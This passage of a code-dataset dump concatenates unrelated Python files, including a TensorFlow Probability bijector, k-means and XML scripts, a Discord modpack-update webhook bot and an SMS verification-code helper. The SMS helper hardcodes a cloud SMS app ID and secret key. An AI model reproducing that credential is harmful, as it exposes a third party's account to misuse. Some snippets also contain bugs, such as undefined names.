pbk1 = int(input('Second number of Public Key: '))\n d = pow(c, pbk) % pbk1\n print ('Decoded: ', d)\n","sub_path":"RSA_Integer.py","file_name":"RSA_Integer.py","file_ext":"py","file_size_in_byte":1552,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"494881688","text":"x = [20, 15, 2, 3, 5, 7, 2, 10, 5, 30, 5, 60, 17, 11, 18, 2, 5, 3, 2, 2, 8]\na = 0\nunique = []\nrepeat = []\n\nfor i in range(len(x)):\n c = x.count(x[i])\n if c == 1:\n unique.append(x[i])\n\n else:\n repeat.append(x[i])\n\nprint('Unique elements=', unique)\n\nrepeat1 = list(dict.fromkeys(repeat))\n\nfor z in repeat1:\n c = repeat.count(repeat1[a])\n print(z, 'is repeated', c, 'times')\n a += 1\n","sub_path":"List Manipulation/Unique and Repeated elements.py","file_name":"Unique and Repeated elements.py","file_ext":"py","file_size_in_byte":412,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"427038673","text":"import cv2\r\nimport TimeHandler as TH\r\nimport glob\r\n\r\nimg_height = 432\r\nimg_width = 768\r\nimg_size = (img_width,img_height)\r\n\r\ndef resize_to_default(img):\r\n cv2.imwrite(\"img.jpg\",cv2.resize(img, img_size,interpolation = cv2.INTER_AREA))\r\n return cv2.imread(\"img.jpg\")\r\n\r\n\r\ndef load_multiple_images(path,max_to_load):\r\n \"\"\"\r\n output: list of images\r\n \"\"\"\r\n listOfImages = []\r\n count = 0\r\n for fileName in glob.glob(path + \"*.\" + \"jpg\"):\r\n if count == max_to_load:\r\n break\r\n img = cv2.imread(fileName)\r\n listOfImages.append(img)\r\n count+=1\r\n return listOfImages\r\n\r\ndef load_multiple_images_path(path,max_to_load):\r\n \"\"\"\r\n output: list of images path\r\n \"\"\"\r\n listOfImagesPath = []\r\n count = 0\r\n for fileName in glob.glob(path + \"*.\" + \"jpg\"):\r\n if count == max_to_load:\r\n break\r\n listOfImagesPath.append(fileName)\r\n count+=1\r\n return listOfImagesPath\r\ndef get_mask_size_from_image(img):\r\n \"\"\"\r\n get image with black mask and return how many black pixels in it\r\n \"\"\"\r\n height,width,shape = img.shape\r\n countBlack= countWhite = 0\r\n for y in range(0,height):\r\n for x in range(0,width):\r\n if is_black(img[y,x]):\r\n countBlack+=1\r\n elif is_white(img[y,x]):\r\n countWhite+=1\r\n else:\r\n # print(img[y,x])\r\n countBlack+=1\r\n print (\"Count white: \"+str(countWhite))\r\n print (\"Count black: \"+str(countBlack))\r\n gap = height*width-countWhite-countBlack\r\n return countBlack,countWhite,gap\r\n\r\ndef is_black(pixel):\r\n return pixel[0] <= 200 and pixel[1] <= 200 and pixel[2] <= 200\r\ndef is_white(pixel):\r\n return pixel[0] > 200 and pixel[1] > 200 and pixel[2] > 200\r\ndef is_absolute_white(pixel):\r\n return pixel[0] == 255 and pixel[1] == 255 and pixel[2] == 255\r\ndef is_dawn(hours):\r\n return hours == 18 or hours == 19\r\ndef loadImageFromURL(url,destFileName):\r\n \"\"\"\r\n get url of image, download by destFileName parameter, load the image and return as parameter\r\n \"\"\"\r\n f = open(destFileName,'wb')\r\n f.write(requests.get(url).content)\r\n f.close()\r\n img = readParkingImage(destFileName)\r\n return img\r\n","sub_path":"FAP/src/java/python/ImageAnalyser.py","file_name":"ImageAnalyser.py","file_ext":"py","file_size_in_byte":2258,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"110572871","text":"# Copyright 2018 The TensorFlow Probability Authors.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ============================================================================\n\"\"\"Chain bijector.\"\"\"\n\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport tensorflow.compat.v2 as tf\nfrom tensorflow_probability.python.bijectors import bijector as bijector_lib\nfrom tensorflow_probability.python.bijectors import composition\nfrom tensorflow_probability.python.bijectors import ldj_ratio\nfrom tensorflow_probability.python.internal import nest_util\nfrom tensorflow_probability.python.internal import prefer_static as ps\n\nfrom tensorflow.python.util import nest # pylint: disable=g-direct-tensorflow-import\n\n__all__ = [\n 'Chain',\n]\n\n\nclass Chain(composition.Composition):\n \"\"\"Bijector which applies a sequence of bijectors.\n\n Example Use:\n\n ```python\n chain = Chain([Exp(), Softplus()], name=\"one_plus_exp\")\n ```\n\n Results in:\n\n * Forward:\n\n ```python\n exp = Exp()\n softplus = Softplus()\n Chain([exp, softplus]).forward(x)\n = exp.forward(softplus.forward(x))\n = tf.exp(tf.log(1. + tf.exp(x)))\n = 1. + tf.exp(x)\n ```\n\n * Inverse:\n\n ```python\n exp = Exp()\n softplus = Softplus()\n Chain([exp, softplus]).inverse(y)\n = softplus.inverse(exp.inverse(y))\n = tf.log(tf.exp(tf.log(y)) - 1.)\n = tf.log(y - 1.)\n ```\n\n Keyword arguments can be passed to the inner bijectors by utilizing the inner\n bijector names, e.g.:\n\n ```python\n chain = Chain([Bijector1(name='b1'), Bijector2(name='b2')])\n y = chain.forward(x, b1={'arg': 1}, b2={'arg': 2})\n\n # Equivalent to:\n z = Bijector2().forward(x, arg=1)\n y = Bijector1().forward(z, arg=2)\n ```\n\n \"\"\"\n\n def __init__(self,\n bijectors=None,\n validate_args=False,\n validate_event_size=True,\n parameters=None,\n name=None):\n \"\"\"Instantiates `Chain` bijector.\n\n Args:\n bijectors: Python `list` of bijector instances. An empty list makes this\n bijector equivalent to the `Identity` bijector.\n validate_args: Python `bool` indicating whether arguments should be\n checked for correctness.\n validate_event_size: Checks that bijectors are not applied to inputs with\n incomplete support (that is, inputs where one or more elements are a\n deterministic transformation of the others). For example, the following\n LDJ would be incorrect:\n `Chain([Scale(), SoftmaxCentered()]).forward_log_det_jacobian([1], [1])`\n The jacobian contribution from `Scale` applies to a 2-dimensional input,\n but the output from `SoftMaxCentered` is a 1-dimensional input embedded\n in a 2-dimensional space. Setting `validate_event_size=True` (default)\n prints warnings in these cases. When `validate_args` is also `True`, the\n warning is promoted to an exception.\n parameters: Locals dict captured by subclass constructor, to be used for\n copy/slice re-instantiation operators.\n name: Python `str`, name given to ops managed by this object. Default:\n E.g., `Chain([Exp(), Softplus()]).name == \"chain_of_exp_of_softplus\"`.\n\n Raises:\n ValueError: if bijectors have different dtypes.\n \"\"\"\n parameters = dict(locals()) if parameters is None else parameters\n\n if name is None:\n name = ('identity' if not bijectors else\n '_of_'.join(['chain'] + [b.name for b in bijectors]))\n name = name.replace('/', '')\n\n if bijectors:\n f_min_event_ndims, i_min_event_ndims = _infer_min_event_ndims(bijectors)\n else:\n # If there are no bijectors, treat this like a single-part Identity.\n f_min_event_ndims = i_min_event_ndims = None\n\n with tf.name_scope(name) as name:\n super(Chain, self).__init__(\n bijectors=bijectors or (),\n forward_min_event_ndims=f_min_event_ndims,\n inverse_min_event_ndims=i_min_event_ndims,\n validate_args=validate_args,\n validate_event_size=validate_event_size,\n parameters=parameters,\n name=name)\n\n @classmethod\n def _parameter_properties(cls, dtype):\n return dict()\n\n def _is_increasing(self, **kwargs):\n # desc(desc)=>asc, asc(asc)=>asc, other cases=>desc.\n is_increasing = True\n for b in self._bijectors:\n is_increasing = ps.equal(\n is_increasing, b._internal_is_increasing(**kwargs.get(b.name, {}))) # pylint: disable=protected-access\n return is_increasing\n\n def _walk_forward(self, step_fn, x, **kwargs):\n \"\"\"Applies `transform_fn` to `x` sequentially over nested bijectors.\"\"\"\n for bij in reversed(self._bijectors):\n x = step_fn(bij, x, **kwargs.get(bij.name, {}))\n return x # Now `y`\n\n def _walk_inverse(self, step_fn, y, **kwargs):\n \"\"\"Applies `transform_fn` to `y` sequentially over nested bijectors.\"\"\"\n for bij in self._bijectors:\n y = step_fn(bij, y, **kwargs.get(bij.name, {}))\n return y # Now `x`\n\n @property\n def _composite_tensor_nonshape_params(self):\n \"\"\"A tuple describing which parameters are non-shape-related tensors.\n\n Flattening in JAX involves many of the same considerations with regards to\n identifying tensor arguments for the purposes of CompositeTensor, except\n that shape-related items will be considered metadata. This property\n identifies the keys of parameters that are expected to be tensors, except\n those that are shape-related.\n \"\"\"\n return ('bijectors',)\n\n\ndef _infer_min_event_ndims(bijectors):\n \"\"\"Computes `min_event_ndims` for a sequence of bijectors.\"\"\"\n # Find the index of the first bijector with statically-known min_event_ndims.\n try:\n idx = next(i for i, b in enumerate(bijectors)\n if b.has_static_min_event_ndims)\n except StopIteration:\n # If none of the nested bijectors have static min_event_ndims, give up\n # and return tail-structures filled with `None`.\n return (\n nest_util.broadcast_structure(\n bijectors[-1].forward_min_event_ndims, None),\n nest_util.broadcast_structure(\n bijectors[0].inverse_min_event_ndims, None))\n\n # Accumulator tracking the maximum value of \"min_event_ndims - ndims\".\n rolling_offset = 0\n\n def update_event_ndims(input_event_ndims,\n input_min_event_ndims,\n output_min_event_ndims):\n \"\"\"Returns output_event_ndims and updates rolling_offset as needed.\"\"\"\n nonlocal rolling_offset\n ldj_reduce_ndims = bijector_lib.ldj_reduction_ndims(\n input_event_ndims, input_min_event_ndims)\n # Update rolling_offset when batch_ndims are negative.\n rolling_offset = ps.maximum(rolling_offset, -ldj_reduce_ndims)\n return nest.map_structure(lambda nd: ldj_reduce_ndims + nd,\n output_min_event_ndims)\n\n def sanitize_event_ndims(event_ndims):\n \"\"\"Updates `rolling_offset` when event_ndims are negative.\"\"\"\n nonlocal rolling_offset\n max_missing_ndims = -ps.reduce_min(nest.flatten(event_ndims))\n rolling_offset = ps.maximum(rolling_offset, max_missing_ndims)\n return event_ndims\n\n # Wrappers for Bijector.forward_event_ndims and Bijector.inverse_event_ndims\n # that recursively walk into Composition bijectors when static min_event_ndims\n # is not available.\n\n def update_f_event_ndims(bij, event_ndims):\n event_ndims = nest_util.coerce_structure(\n bij.inverse_min_event_ndims, event_ndims)\n if bij.has_static_min_event_ndims:\n return update_event_ndims(\n input_event_ndims=event_ndims,\n input_min_event_ndims=bij.inverse_min_event_ndims,\n output_min_event_ndims=bij.forward_min_event_ndims)\n elif isinstance(bij, composition.Composition):\n return bij._call_walk_inverse(update_f_event_ndims, event_ndims) # pylint: disable=protected-access\n else:\n return sanitize_event_ndims(bij.inverse_event_ndims(event_ndims))\n\n def update_i_event_ndims(bij, event_ndims):\n event_ndims = nest_util.coerce_structure(\n bij.forward_min_event_ndims, event_ndims)\n if bij.has_static_min_event_ndims:\n return update_event_ndims(\n input_event_ndims=event_ndims,\n input_min_event_ndims=bij.forward_min_event_ndims,\n output_min_event_ndims=bij.inverse_min_event_ndims)\n elif isinstance(bij, composition.Composition):\n return bij._call_walk_forward(update_i_event_ndims, event_ndims) # pylint: disable=protected-access\n else:\n return sanitize_event_ndims(bij.forward_event_ndims(event_ndims))\n\n # Initialize event_ndims to the first statically-known min_event_ndims in\n # the Chain of bijectors.\n f_event_ndims = i_event_ndims = bijectors[idx].inverse_min_event_ndims\n for b in bijectors[idx:]:\n f_event_ndims = update_f_event_ndims(b, f_event_ndims)\n for b in reversed(bijectors[:idx]):\n i_event_ndims = update_i_event_ndims(b, i_event_ndims)\n\n # Shift both event_ndims to satisfy min_event_ndims for nested components.\n return (nest.map_structure(lambda nd: rolling_offset + nd, f_event_ndims),\n nest.map_structure(lambda nd: rolling_offset + nd, i_event_ndims))\n\n\n@ldj_ratio.RegisterILDJRatio(Chain)\ndef _ildj_ratio_chain(p, x, q, y):\n \"\"\"Sum-of-diffs ILDJRatio for Chains.\"\"\"\n if len(p.bijectors) != len(q.bijectors):\n raise ValueError('Mismatched lengths of bijectors: `p` has '\n f'{len(p.bijectors)} but `q` has {len(q.bijectors)}.')\n ratios = []\n for p, q in zip(p.bijectors, q.bijectors):\n ratios.append(ldj_ratio.inverse_log_det_jacobian_ratio(\n p, x, q, y, p.inverse_min_event_ndims))\n x, y = p.inverse(x), q.inverse(y)\n return tf.add_n(ratios)\n","sub_path":"tensorflow_probability/python/bijectors/chain.py","file_name":"chain.py","file_ext":"py","file_size_in_byte":10220,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"484328494","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport pandas as pd\nimport numpy as np\nimport random as rd\nimport matplotlib.pyplot as plt\ndata = pd.read_csv(r'clustering.csv')\n\n\n# In[2]:\n\n\nX = data[[\"LoanAmount\",\"ApplicantIncome\"]]\n#Visualise data points\nplt.scatter(X[\"ApplicantIncome\"],X[\"LoanAmount\"],c='black')\nplt.xlabel('AnnualIncome')\nplt.ylabel('Loan Amount (In Thousands)')\nplt.show()\n\n\n# In[3]:\n\n\nK=3\n\n# Select random observation as centroids\nCentroids = (X.sample(n=K))\nplt.scatter(X[\"ApplicantIncome\"],X[\"LoanAmount\"],c='black')\nplt.scatter(Centroids[\"ApplicantIncome\"],Centroids[\"LoanAmount\"],c='red')\nplt.xlabel('AnnualIncome')\nplt.ylabel('Loan Amount (In Thousands)')\nplt.show()\n\n\n# In[4]:\n\n\ndiff = 1\nj=0\n\nwhile(diff!=0):\n XD=X\n i=1\n for index1,row_c in Centroids.iterrows():\n ED=[]\n for index2,row_d in XD.iterrows():\n d1=(row_c[\"ApplicantIncome\"]-row_d[\"ApplicantIncome\"])**2\n d2=(row_c[\"LoanAmount\"]-row_d[\"LoanAmount\"])**2\n d=np.sqrt(d1+d2)\n ED.append(d)\n X[i]=ED\n i=i+1\n\n C=[]\n for index,row in X.iterrows():\n min_dist=row[1]\n pos=1\n for i in range(K):\n if row[i+1] < min_dist:\n min_dist = row[i+1]\n pos=i+1\n C.append(pos)\n X[\"Cluster\"]=C\n Centroids_new = X.groupby([\"Cluster\"]).mean()[[\"LoanAmount\",\"ApplicantIncome\"]]\n if j == 0:\n diff=1\n j=j+1\n else:\n diff = (Centroids_new['LoanAmount'] - Centroids['LoanAmount']).sum() + (Centroids_new['ApplicantIncome'] - Centroids['ApplicantIncome']).sum()\n print(diff.sum())\n Centroids = X.groupby([\"Cluster\"]).mean()[[\"LoanAmount\",\"ApplicantIncome\"]]\n\n\n# In[5]:\n\n\ncolor=['blue','green','cyan']\nfor k in range(K):\n data=X[X[\"Cluster\"]==k+1]\n plt.scatter(data[\"ApplicantIncome\"],data[\"LoanAmount\"],c=color[k])\nplt.scatter(Centroids[\"ApplicantIncome\"],Centroids[\"LoanAmount\"],c='red')\nplt.xlabel('Income')\nplt.ylabel('Loan Amount (In Thousands)')\nplt.show()\n\n\n# In[13]:\n\n\nfrom sklearn.cluster import KMeans\nkmeans=KMeans(n_clusters=3)\nkmeans.fit(data)\n\n\n# In[14]:\n\n\nkmeans.inertia_\n\n\n# In[15]:\n\n\nSSE = []\nfor cluster in range(1,20):\n kmeans = KMeans(n_jobs = -1, n_clusters = cluster, init='k-means++')\n kmeans.fit(data)\n SSE.append(kmeans.inertia_)\n\n# converting the results into a dataframe and plotting them\nframe = pd.DataFrame({'Cluster':range(1,20), 'SSE':SSE})\nplt.figure(figsize=(12,6))\nplt.plot(frame['Cluster'], frame['SSE'], marker='o')\nplt.xlabel('Number of clusters')\nplt.ylabel('Inertia')\n\n\n# In[17]:\n\n\nkmeans.fit(data)\npred = kmeans.predict(data)\npred\n\n\n# In[ ]:\n\n\n\n\n","sub_path":"K-Means Clustering/K-Means Clustering.py","file_name":"K-Means Clustering.py","file_ext":"py","file_size_in_byte":2659,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"435715122","text":"#! /usr/bin/env python\r\n#coding=utf-8\r\n\r\nimport xml.dom.minidom as xmldom\r\nimport xml.etree.ElementTree as ET\r\nimport os\r\nclass readXml(object):\r\n def __init__(self,strxml):\r\n self.xml_file=xmldom.parse(strxml)\r\n self.eles=self.xml_file.documentElement\r\n self.updateTree=ET.parse(strxml)\r\n self.root=self.updateTree.getroot()\r\n #获取标签对之间文本\r\n def getTabValue(self,item,i): \r\n tagName=self.eles.tagName\r\n tabValue=self.eles.getElementsByTagName(item)[i].firstChild.data \r\n print(tabValue)\r\n return tabValue\r\n #获取标签属性值\r\n def item_getAttribute(self,item_a,i,text):\r\n itemlist=self.eles.getElementsByTagName(item_a)\r\n attribute=itemlist[i].getAttribute(text)\r\n print(attribute)\r\n \r\n return attribute\r\n #修改XML标签对之间文本\r\n def setAlltabValue(self,tab_name,lab_text): \r\n for i in self.root.iter(tab_name):\r\n print(i.tag,i.attrib,i.text)\r\n for j in i.iter(tab_name):\r\n print('修改之前的文本……',j.text)\r\n j.text=lab_text\r\n print('修改之后的文本……',j.text)\r\n self.updateTree.write(strxml) \r\n \r\n #修改XML属性值 \r\n def setAllattrib(self,lab_attribname,t,name,lab_attribtext):\r\n datas=[]\r\n for i in self.root.iter(lab_attribname):\r\n mydict=i.attrib\r\n datas.append(mydict)\r\n print(datas)\r\n print('修改之前……',datas[t])\r\n if name in datas[t]:\r\n datas[t][name]=lab_attribtext\r\n print('修改之后……',datas[t])\r\n# print('name')\r\n #修改属性值\r\n# for j in i.iter(lab_attribname):\r\n# print('修改之前的属性值',j.attrib)\r\n# j.attrib[name]=lab_attribtext\r\n# print('修改之后的属性值:',j.attrib)\r\n self.updateTree.write(strxml,encoding='utf-8')\r\n \r\n #增加标签\r\n def add_tag(self,newEle_name,newEle_attrib,newEle_text):\r\n newEle=ET.Element(newEle_name)\r\n newEle.attrib=newEle_attrib\r\n newEle.text=newEle_text\r\n self.root.append(newEle)\r\n self.updateTree.write(strxml,encoding='utf-8')\r\n \r\nif __name__ =='__main__':\r\n strxml=r'C:\\Users\\KLJS154\\QuiKLab3\\config.xml'\r\n# updateTree=ET.parse(strxml)\r\n# root=updateTree.getroot()\r\n item_a='item'\r\n tab_name='port'\r\n text='name2'\r\n lab_text='woen'\r\n lab_attribname='item'\r\n lab_attribtext='7'\r\n name=u'run'\r\n newEle_name=u'newElement'\r\n newEle_attrib={'name':'newElement','age':'20'}\r\n newEle_text='This is a new elemnet'\r\n d=readXml(strxml)\r\n t=0\r\n# d.getTabValue(item,0)\r\n# d.item_getAttribute(item_a,1,text)\r\n# d.setAlltabValue(tab_name, lab_text)\r\n d.setAllattrib(lab_attribname,t, name,lab_attribtext)\r\n# d.add_tag(newEle_name, newEle_attrib, newEle_text)\r\n\r\n\r\n\r\n\r\n\r\n ","sub_path":"readXml_python3(1).py","file_name":"readXml_python3(1).py","file_ext":"py","file_size_in_byte":3018,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"466940417","text":"#LogReg\nfrom django.conf.urls import url\nfrom . import views\n\nurlpatterns = [\n url(r'^register$', views.log_reg, name=\"register\"),\n url(r'^login$', views.log_reg, name=\"login\"),\n url(r'^logout$', views.logout, name=\"logout\"),\n]\n\n#if we have the same views.method do we use the same name?\n#what is the difference between using a regex with the $ at the end and not?\n","sub_path":"Python/Django/UserDashboard/apps/LogReg/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":374,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"491652040","text":"from __future__ import print_function\nfrom discord_hooks import Webhook\n\nimport os\nimport urllib\nimport requests\nimport json\nimport asyncio\nimport time\nimport sys\n\n# Check for configs\nif not os.path.isfile(\"curse_config.json\"):\n # Create the configuration file as it doesn't exist yet\n cfgfile = open(\"curse_config.json\", 'w')\n blankconfig = {\n \"hook\":\"hookurl\"\n }\n json.dump(blankconfig, cfgfile, indent=4)\n sys.exit(\"Config file has been created. Please edit the config before trying to use the bot. Exiting...\")\n \nif not os.path.isfile(\"packs.json\"):\n # Create the configuration file as it doesn't exist yet\n packfile = open(\"packs.json\", 'w')\n blankpackfile = {\n \"examplepack\": {\n \"id\": \"227724\",\n \"slug\": \"ftb-infinity-evolved\",\n \"version\": \"FTBInfinity-3.0.1-1.7.10.zip\"\n }\n }\n json.dump(blankpackfile, packfile, indent=4)\n sys.exit(\"Example pack file has been created. Please edit the file before trying to use the bot. Exiting...\")\n\n\n# Config settings\nwith open('curse_config.json') as curse_config:\n config_data = json.load(curse_config)\nhookurl = config_data['hook']\n\n\nwhile True:\n # Packs\n with open('packs.json', 'r') as pack_config:\n pack_data = json.load(pack_config)\n\n for pack in pack_data.items():\n name = pack[1]['id']\n packname = pack[1]['slug']\n version = pack[1]['version']\n\n # Get the JSON from curse\n MOMIurl = 'https://api.cfwidget.com/modpacks/minecraft/' + name + \"-\" + packname + \"/\"\n MIMOurl = 'https://api.cfwidget.com/minecraft/modpacks/' + packname + \"/\"\n curseurl = \"https://api.cfwidget.com/projects/\" + name + \"/\"\n \n data = {}\n \n print(\"checking \" + name + \" \" + packname)\n if name != \"null\":\n print(\"trying MOMI\")\n MOMIresponse = requests.get(MOMIurl)\n if MOMIresponse.status_code != 200:\n print(\"trying MIMO\")\n MIMOresponse = requests.get(MIMOurl)\n \n if MIMOresponse.status_code != 200:\n print(\"trying curse last\")\n cresponse = requests.get(curseurl)\n \n if cresponse.status_code != 200:\n print(\"All URLs failed for \" + name + \" \" + packname)\n else:\n data = json.loads(cresponse.text)\n else:\n data = json.loads(MIMOresponse.text)\n else:\n data = json.loads(MOMIresponse.text)\n else:\n print(\"trying MIMO\")\n MIMOresponse = requests.get(MIMOurl)\n if MIMOresponse.status_code != 200:\n print(\"All URLs failed for \" + name + \" \" + packname)\n else:\n data = json.loads(MIMOresponse.text)\n\n if 'error' in data:\n print(\"Error: URL Specified does not exist in API database. Please try request again later\")\n \n newVersion = data['files'][0]['name']\n \n if version != newVersion:\n msgIcon = data['thumbnail']\n # New version found, sending update message and updating local versions\n print(\"----------------------New version available!----------------------\\n\") \n print(name + \": \" + version + \" --> \" + newVersion)\n\n embed = Webhook(hookurl,color=123123) \n embed.set_author(name=data['title'] + \" has an update!\", icon=msgIcon)\n embed.add_field(name='Old Version', value=version)\n embed.add_field(name='New Version', value=newVersion)\n embed.set_footer(ts=True)\n embed.post()\n\n # Setting new version for json\n pack_data[pack[0]]['version'] = newVersion\n \n # Write json to file\n with open('packs.json', 'w') as new_pack_config:\n json.dump(pack_data, new_pack_config, indent=4, sort_keys=True)\n new_pack_config.close()\n \n time.sleep(600)","sub_path":"packupdate.py","file_name":"packupdate.py","file_ext":"py","file_size_in_byte":4094,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"201959269","text":"# -*- coding: utf-8 -*-\nfrom collections import deque\n\nimport gym\n\nfrom random import randint\n\nimport tensorflow as tf\n\nimport time\n\nimport unittest\n\nfrom alchemy.memory import Memory, rollout_to_src, RolloutPool, rollout_dataset\n\n\nclass CartPoleReplayMemory(Memory):\n def __init__(self):\n self.ram = deque([])\n\n @property\n def state_dtype(self):\n return float\n\n @property\n def state_shape(self):\n return [4]\n\n @property\n def action_dtype(self):\n return int\n\n @property\n def action_shape(self):\n return []\n\n @property\n def action_value_dtype(self):\n return float\n\n @property\n def action_value_shape(self):\n return [2]\n\n def write(self, memory):\n self.ram.append(memory)\n\n def read(self):\n return self.ram.popleft()\n\n def clear(self):\n return self.ram.clear()\n\n def __len__(self):\n return len(self.ram)\n\n\nclass MemoryTest(unittest.TestCase):\n\n def test_simple_memory(self):\n ram = CartPoleReplayMemory()\n env = gym.make('CartPole-v0')\n\n num_episodes = 1\n max_rollout_steps = 6\n max_trajectory_steps = 3\n\n rollout_to_src(ram, env,\n step_fn=lambda state, internals: (randint(0, 1), [0., 0.], None),\n num_episodes=num_episodes,\n max_rollout_steps=max_rollout_steps,\n max_trajectory_steps=max_trajectory_steps)\n self.assertTrue(len(ram) == num_episodes * int(max_rollout_steps / max_trajectory_steps))\n ram.clear()\n\n def test_sync_pool(self):\n ram = CartPoleReplayMemory()\n\n num_envs = 2\n num_episodes = 2\n max_rollout_steps = 6\n max_trajectory_steps = 3\n\n RolloutPool(\n lambda: gym.make('CartPole-v0'),\n num_envs=num_envs,\n num_threads=1)(\n ram,\n step_fn=lambda state, internals: (randint(0, 1), [0., 0.], None),\n synchronous=True,\n num_episodes=num_episodes,\n max_rollout_steps=max_rollout_steps,\n max_trajectory_steps=max_trajectory_steps)\n\n self.assertTrue(\n len(ram) == num_envs * num_episodes * int(max_rollout_steps / max_trajectory_steps))\n ram.clear()\n\n def test_async_pool(self):\n ram = CartPoleReplayMemory()\n\n num_envs = 2\n num_episodes = 2\n max_rollout_steps = 6\n max_trajectory_steps = 3\n\n pool = RolloutPool(\n lambda: gym.make('CartPole-v0'),\n num_envs=num_envs,\n num_threads=2)\n pool(\n ram,\n step_fn=lambda state, internals: (randint(0, 1), [0., 0.], None),\n synchronous=False,\n num_episodes=num_episodes,\n max_rollout_steps=max_rollout_steps,\n max_trajectory_steps=max_trajectory_steps)\n\n time.sleep(1)\n\n while True:\n if pool.done:\n break\n\n self.assertTrue(\n len(ram) == num_envs * num_episodes * int(max_rollout_steps / max_trajectory_steps))\n ram.clear()\n\n\n def test_rollout_dataset(self):\n tf.reset_default_graph()\n ram = CartPoleReplayMemory()\n\n num_envs = 2\n num_episodes = 2\n max_rollout_steps = 6\n max_trajectory_steps = max_sequence_length = 3\n\n pool = RolloutPool(\n lambda: gym.make('CartPole-v0'),\n num_envs=num_envs,\n num_threads=1)\n pool(\n ram,\n step_fn=lambda state, internals: (randint(0, 1), [0., 0.], None),\n synchronous=True,\n num_episodes=num_episodes,\n max_rollout_steps=max_rollout_steps,\n max_trajectory_steps=max_trajectory_steps)\n\n batch_size = num_envs * num_episodes\n dataset = rollout_dataset(\n ram,\n batch_size=batch_size,\n max_sequence_length=max_sequence_length)\n\n with tf.Session() as sess:\n batch = (state, next_state, action, value, reward, terminal, sequence_length) = sess.run(\n dataset)\n for feature in batch[:-1]:\n self.assertTrue(feature.shape[0], batch_size)\n self.assertTrue(feature.shape[1], max_sequence_length)\n","sub_path":"alchemy/test/memory_test.py","file_name":"memory_test.py","file_ext":"py","file_size_in_byte":3898,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"544103010","text":"import threading\nR_block=threading.Lock()\n\n\nimport random\n\n\ndef create_yzm():\n return \"\".join([str(random.randint(0,9)) for i in range(6)])\n\n\n# 验证码 调用格式 MSM(\"手机号\",'用户名','验证码')\ndef sms(phone, number):\n from qcloudsms_py import SmsSingleSender\n from qcloudsms_py.httpclient import HTTPError\n # 短信应用SDK AppID\n appid = 1400217900 # SDK AppID是1400开头\n # 短信应用SDK AppKey\n appkey = \"fe04cc0b081ba3037ef32c8093feeaf5\"\n # 需要发送短信的手机号码\n phone_numbers = [phone]\n # 短信模板ID,需要在短信应用中申请\n template_id = 349381 #\n # 尊敬的用户,欢迎成为希希大队长社区用户!您的验证码是{1},请于5分钟内填写。如非本人操作,请忽略本短信。\n\n # 签名\n sms_type = 0\n sms_sign = \"希希大队长社区\"\n ssender = SmsSingleSender(appid, appkey)\n params = [number\n ] # 当模板没有参数时,`params = []`,数组具体的元素个数和模板中变量个数必须一致,例如事例中templateId:5678对应一个变量,参数数组中元素个数也必须是一个\n # print(phone,number,)\n try:\n result = ssender.send_with_param(86, phone_numbers[0],\n template_id, params, sign=sms_sign, extend=\"\",\n ext=\"\") # 签名参数未提供或者为空时,会使用默认签名发送短信\n except BaseException as e:\n return False, '发送失败!请稍后再试'\n if result.get('result') == 0:\n return True, '发送成功!'\n else:\n return False, result.get('errmsg')\n\n\ndef check_mobile(mobile):\n import re\n if re.findall(r\"^((13[0-9])|(15[^4])|(18[0-9])|(17[0-8])|(147)|(19[0-9]))\\d{8}$\",mobile):\n return True\n else:\n return False\n\n# if __name__ == '__main__':\n# sms(\"17607186775\", '142345')\n\n\n\n\n\n","sub_path":"luffyapi/luffyapi/utils/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":1928,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"651329363","text":"class Node:\n def __init__(self,data):\n self.data = data\n self.next = None\n\nclass Reverse_Linked_List(object):\n def __init__(self,head=None):\n self.head = head\n\n def append(self,new_node):\n current = self.head\n if(current is None):\n self.head = new_node\n else:\n while(current.next):\n current = current.next\n current.next = new_node\n\n def Reverse(self):\n prev = None\n forward = None\n current = self.head\n while(current is not None):\n forward = current.next\n current.next = prev\n prev = current\n current = forward\n self.head = prev\n\n\n def print_list(self):\n temp = self.head\n while(temp):\n print(temp.data)\n temp = temp.next\n\n\ne1 = Node(1)\ne2 = Node(2)\ne3 = Node(3)\ne4 = Node(4)\n\nlis = Reverse_Linked_List()\nlis.append(e1)\nlis.append(e2)\nlis.append(e3)\nlis.append(e4)\n\nlis.Reverse()\nlis.print_list()\n","sub_path":"Linked List/Reverse_Linked_List.py","file_name":"Reverse_Linked_List.py","file_ext":"py","file_size_in_byte":1017,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"89235849","text":"# standard libs\nfrom dataclasses import dataclass, field\nfrom typing import List\nfrom unittest import TestCase\nfrom unittest.mock import Mock, patch\n\n# common\nimport common.kafka.kafka as kafka\nfrom common.test_utils.common.utils import create_mock_message_queue\n\nSAMPLE_BALANCE_MESSAGE = (\n \"common/kafka/tests/unit/input/sample_balance_update_event.json\"\n)\nSAMPLE_WF_MESSAGE = 